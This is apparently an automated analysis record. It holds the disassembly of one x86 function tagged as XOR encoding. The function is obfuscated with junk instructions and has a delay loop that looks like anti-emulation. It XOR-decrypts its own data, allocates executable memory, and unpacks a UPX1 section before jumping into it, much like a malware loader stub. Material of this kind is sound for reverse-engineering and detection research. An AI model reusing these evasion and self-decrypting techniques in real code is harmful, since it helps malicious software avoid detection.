Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x603f266a
sub edi, ecx
not ecx
popal
add edi, 0xe06e6e6e
mov edi, ecx
mov ebx, 0
mov edi, eax
and esi, ecx
add esi, esi
or esi, ecx
mov edx, edi
add ecx, 0x7ba17d22
add ecx, ecx
sub ecx, esi
mov eax, edx
sub esi, ecx
mov esi, 0xbc56b19
inc ebx
sub ecx, 0xa44bbbf3
add esi, esi
cmp ebx, 0x100d5fe
jne 0xa789c4
inc esi
mov esi, 0xcb202151
and esi, esi
or ecx, edi
inc edi
and edi, ecx
mov esi, 0xa78796
inc edx
mov ebx, 0x831506ed
mov ecx, 0xa7898a
inc eax
inc ebx
mov edx, 0x835f6773
mov edi, dword [esi]
add ebx, 0xe41d138
sub eax, 1
and edi, 0xff
or eax, eax
dec eax
xor dword [ecx], edi
mov edx, eax
mov eax, 0x75191f7f
and edx, ebx
inc ecx
sub ebx, eax
or edx, eax
add esi, 1
sub ebx, 0xd47d022d
add edx, 0x23745d37
cmp ecx, entry0
jl 0xa78a1a
sub eax, 0xb2ea9c78
sub edx, eax
or eax, edx
sub ebx, 0x5034e05e
dec eax
sub ebx, esi
and esi, edx
mov ecx, 0xa7898e
inc esi
inc edx
mov ecx, dword [ecx]
sub edi, 0x2d04456e
add edi, 0x23bf3386
mov ecx, dword [ecx]
add esi, 0xde306984
mov esi, edx
mov ebx, 0xb320555f
sub esp, 4
mov dword [esp], ecx
add edx, 0x88546725
and ebx, esi
sub esi, edx
mov ecx, 0xa7898a
add ebx, edx
sub edi, ebx
mov edi, ebx
mov ecx, dword [ecx]
sub edi, 0xfaa57683
mov esi, 0x6206ec80
sub edx, 0x55c7b502
mov ecx, dword [ecx]
mov ebx, 0xfe920e8f
mov edx, esi
inc edi
push 0xa78992
mov ebx, esi
sub edi, 0xff094099
dec edi
call ecx
add edi, 1
not ebx
pop ecx
not edx
sub edx, ebx
add ebx, esi
push 0xa7899f
add edx, edx
or edx, esi
mov esi, 0xad0b8473
push eax
not esi
and edx, esi
mov edi, 0x8eceb411
call ecx
add ebx, ebx
or ebx, edx
not ebx
push 0x40
add edi, 1
inc ebx
push 0x3000
mov edx, 0x2ba0a98d
mov ebx, esi
push 0x200001c4
add ebx, edx
not edx
push 0
inc edx
add edi, edx
call eax
and esi, edi
and edi, esi
add eax, 0x2000015d
not edx
add edi, ebx
mov ecx, 0xff52dd84
mov esi, edi
add edx, ebx
mov dword [eax], ecx
add edx, 0xbfb82639
dec edi
sub esi, edi
mov ecx, dword [eax]
or ebx, edi
add edx, 0xeea3c736
not ebx
cmp ecx, 0xff52dd84
je 0xa78b77
mov eax, 0
mov dword [eax], edx
dec esi
inc edi
not edx
mov ebx, esi
not edi
mov edi, 0x2a26fb5e
sub edi, ecx
add ecx, ecx
add edi, ecx
mov eax, section.UPX1
add edi, 0x390deffc
add ecx, edi
mov edx, 0xa78795
mov edi, 0x57c36bef
mov ecx, 0xe1b9ca56
mov esi, 0
and ecx, edi
add edi, ecx
and edi, ecx
mov ebx, 0xa78796
sub edi, ecx
mov edi, ecx
and ecx, ecx
lea ebx, [ebx + esi]
mov ecx, 0x5dd1a9d2
mov edi, 0x6807ee83
mov ebx, dword [ebx]
inc edi
add edi, 0x1328165f
sub ecx, 0x13a08acc
and ebx, 0xff
not edi
and edi, ecx
not edi
inc esi
not edi
mov ecx, 0xff30c051
cmp esi, 0x1f4
jne 0xa78bf9
mov esi, 0
mov ecx, 0x6e58f20
mov ecx, edi
mov ecx, 0xd5b09819
sub edi, 0x30e14f41
not edi
sub ecx, 1
xor dword [eax], ebx
sub ecx, 0x6c56ee8d
not edi
add eax, 2
and ecx, ecx
inc ecx
cmp eax, edx
jl 0xa78bb1
and ecx, edi
not edi
inc edi
add edi, 0x2dc746a7
mov ecx, edi
mov edi, 0xb8bcc354
mov esi, section.UPX1
add ebx, 0x68658ecf
dec ebx
mov edx, section.UPX1
or ecx, ebx
add ebx, 0x312d7c3c
mov edi, 0xa78795
sub ecx, 1
add ecx, ecx
or ecx, ebx
mov eax, 0
mov ecx, 0x364c3459
not ecx
dec ecx
mov al, byte [edx]
mov ecx, ebx
mov ebx, 0x71666cc
mov byte [esi], al
sub ecx, ebx
add ecx, ebx
add esi, 1
not ecx
dec ebx
not ecx
add edx, 2
inc ecx
add ecx, ecx
cmp edx, edi
jle 0xa78c75
and ecx, ecx
add ecx, 0xfa3f8bfe
mov ebx, ecx
add ecx, 0x22c5ec2b
add edi, ecx
push 0x8dc6a0
mov edi, 0x2723f910
add ecx, ecx
add ecx, 0xd813acdd
ret